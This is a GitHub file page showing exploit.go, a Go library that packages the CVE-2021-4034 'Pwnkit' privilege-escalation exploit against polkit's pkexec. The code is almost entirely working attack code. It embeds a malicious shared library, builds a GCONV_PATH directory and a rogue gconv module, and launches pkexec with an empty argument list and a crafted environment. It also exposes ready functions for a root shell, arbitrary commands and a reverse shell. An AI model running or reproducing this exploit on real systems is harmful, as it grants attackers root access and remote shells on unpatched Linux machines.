-
Notifications
You must be signed in to change notification settings - Fork 2
/
exploit.go
110 lines (90 loc) · 3.54 KB
/
exploit.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
/*
CVE-2021-4034 - "Pwnkit" - Go Edition
Credits:
https://github.com/An00bRektn/CVE-2021-4034
https://github.com/PeterGottesman/pwnkit-exploit
https://github.com/dzonerzy/poc-cve-2021-4034
https://github.com/berdav/CVE-2021-4034
*/
package ez_pwnkit
import (
_ "embed"
"fmt"
"os"
"syscall"
)
//go:embed internal/PWN.so
var malici0usSo []byte
func check(e error) {
if e != nil {
panic(nil)
}
}
func Shell() (err error) {
return exploit(false, false, "id; echo \"hax0r in the system!\"; /bin/sh", "")
}
func Command(command string, output bool) (err error) {
return exploit(output, true, command, "")
}
func RevShell(reverseShell string) (err error) {
return exploit(false, true, "", reverseShell)
}
func exploit(output bool, fork bool, command string, reverseShell string) (err error) {
// Create temporary directory
dir, err := os.MkdirTemp("", "pkexec-")
check(err)
os.Chdir(dir)
// Create malicious GCONV_PATH=. directory to make Glib load arbitrary shared library
os.Mkdir("GCONV_PATH=.", 0755)
f, err := os.Create("GCONV_PATH=./gconv")
check(err)
f.Close()
os.Chmod("GCONV_PATH=./gconv", 0755)
// Create malicious gconv directory to hold exploit code and malicious encoding
err = os.Mkdir("gconv", 0755)
check(err)
// Create malicious encoding instructions. By using the unknown ZT charset in envp,
// Glib will try to decode it using our malicious shared library PWN.so
evilModule := []byte("module UNICODE// ZT// PWN 1\n")
err = os.WriteFile("gconv/gconv-modules", evilModule, 0755)
check(err)
// Create the malicious shared library PWN.so
err = os.WriteFile("gconv/PWN.so", malici0usSo, 0755)
check(err)
// Create malicious envp holding custom PATH and CHARSET
// COMMAND, PKDIR and REV are used by our malicious code
envp := []string{
"gconv", /* path containing malicious gconv config/shared obj */
"PATH=GCONV_PATH=.", /* environment variable to be injected */
"CHARSET=ZT", /* charset defined in malicious gconv config */
"SHELL=ultra_attack", /* invalid shell value, triggers error to be printed, resulting in charset conversion */
"GIO_USE_VFS=prevent-new-env-creation", /* prevent pkexec from calling setenv and clone the environment on the heap *1 */
fmt.Sprintf("COMMAND=\"%s\"", command),
fmt.Sprintf("PKDIR=%s", dir),
fmt.Sprintf("REV=%s", reverseShell),
}
// Call pkexec with empty argv and malicious envp
if !fork {
return syscall.Exec("/usr/bin/pkexec", nil, envp)
} else {
pwd := ""
pwd, _ = os.Getwd()
forkArgs := syscall.ProcAttr{
Dir: pwd,
Env: envp,
}
if output {
forkArgs.Files = []uintptr{os.Stdin.Fd(), os.Stdout.Fd(), os.Stderr.Fd()}
}
_, err := syscall.ForkExec("/usr/bin/pkexec", nil, &forkArgs)
return err
}
}
/*
*1 ) pkexec will set a variable called GIO_USE_VFS using setenv wwith the parameter replace = 1 if the variable does not exist
libc will call __add_to_environ call to environ at line 149 https://code.woboq.org/userspace/glibc/stdlib/setenv.c.html#149 check if
the variable exist in the environment and if its value is not NULL , if those conditions does not match it will create a new environment at line 154
https://code.woboq.org/userspace/glibc/stdlib/setenv.c.html#154 , thus making the exploitation not possible since argv[n] and environ[0] will point
respectively on the stack and on the heap, adding the variable GIO_USE_VFS before calling pkexec with a value "longer" than the value pkexec set
(local) will prevent the creation of a new environment.
*/